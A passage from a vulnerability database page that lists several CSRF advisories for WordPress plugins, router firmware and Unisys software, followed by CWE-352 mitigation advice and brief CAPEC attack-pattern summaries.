      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-19T00:15:07Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization, Cross-Site Request Forgery (CSRF) vulnerability in Roland Barker, xnau webdesign Participants Database allows Accessing Functionality Not Properly Constrained by ACLs, Cross Site Request Forgery.This issue affects Participants Database: from n/a through 2.5.5.",
  "id": "GHSA-v7j7-wq78-r9fc",
  "modified": "2026-04-28T21:33:26Z",
  "published": "2023-12-19T00:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48751"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/participants-database/wordpress-participants-database-plugin-2-5-5-broken-access-control-vulnerability"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V7R2-H7F6-6CVV

Vulnerability from github – Published: 2022-05-17 02:15 – Updated: 2022-05-17 02:15
VLAI
Details

Cross-site request forgery (CSRF) vulnerability in WMR-433 firmware Ver.1.02 and earlier, WMR-433W firmware Ver.1.40 and earlier allows remote attackers to hijack the authentication of administrators via unspecified vectors.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-2273"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-07-22T00:29:00Z",
    "severity": "HIGH"
  },
  "details": "Cross-site request forgery (CSRF) vulnerability in WMR-433 firmware Ver.1.02 and earlier, WMR-433W firmware Ver.1.40 and earlier allows remote attackers to hijack the authentication of administrators via unspecified vectors.",
  "id": "GHSA-v7r2-h7f6-6cvv",
  "modified": "2022-05-17T02:15:31Z",
  "published": "2022-05-17T02:15:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-2273"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN48413726/index.html"
    },
    {
      "type": "WEB",
      "url": "http://buffalo.jp/support_s/s20170606.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V7RW-J234-3GJ2

Vulnerability from github – Published: 2022-09-14 00:00 – Updated: 2022-09-18 00:00
VLAI
Details

Unisys Data Exchange Management Studio before 6.0.IC2 and 7.x before 7.0.IC1 doesn't have an Anti-CSRF token to authenticate the POST request. Thus, a cross-site request forgery attack could occur.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-32555"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-13T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "Unisys Data Exchange Management Studio before 6.0.IC2 and 7.x before 7.0.IC1 doesn\u0027t have an Anti-CSRF token to authenticate the POST request. Thus, a cross-site request forgery attack could occur.",
  "id": "GHSA-v7rw-j234-3gj2",
  "modified": "2022-09-18T00:00:35Z",
  "published": "2022-09-14T00:00:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32555"
    },
    {
      "type": "WEB",
      "url": "https://public.support.unisys.com/common/public/vulnerability/NVD_Detail_Rpt.aspx?ID=69"
    },
    {
      "type": "WEB",
      "url": "https://unisys.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V7W4-WP5X-PX69

Vulnerability from github – Published: 2022-05-24 19:17 – Updated: 2022-07-29 00:00
VLAI
Details

The Wechat Reward WordPress plugin through 1.7 does not sanitise or escape its QR settings, nor has any CSRF check in place, allowing attackers to make a logged in admin change the settings and perform Cross-Site Scripting attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-24615"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-18T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Wechat Reward WordPress plugin through 1.7 does not sanitise or escape its QR settings, nor has any CSRF check in place, allowing attackers to make a logged in admin change the settings and perform Cross-Site Scripting attacks.",
  "id": "GHSA-v7w4-wp5x-px69",
  "modified": "2022-07-29T00:00:51Z",
  "published": "2022-05-24T19:17:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24615"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/9d48313b-76d7-4252-9b81-2fdd0373561b"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
  • Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Implementation

Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

Mitigation
Architecture and Design

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]

Mitigation
Architecture and Design

Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.

Mitigation
Architecture and Design
  • Use the "double-submitted cookie" method as described by Felten and Zeller:
  • When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
  • Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
  • This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Architecture and Design

Do not use the GET method for any request that triggers a state change.

Mitigation
Implementation

Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)

An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.

CAPEC-462: Cross-Domain Search Timing

An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.

CAPEC-467: Cross Site Identification

An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.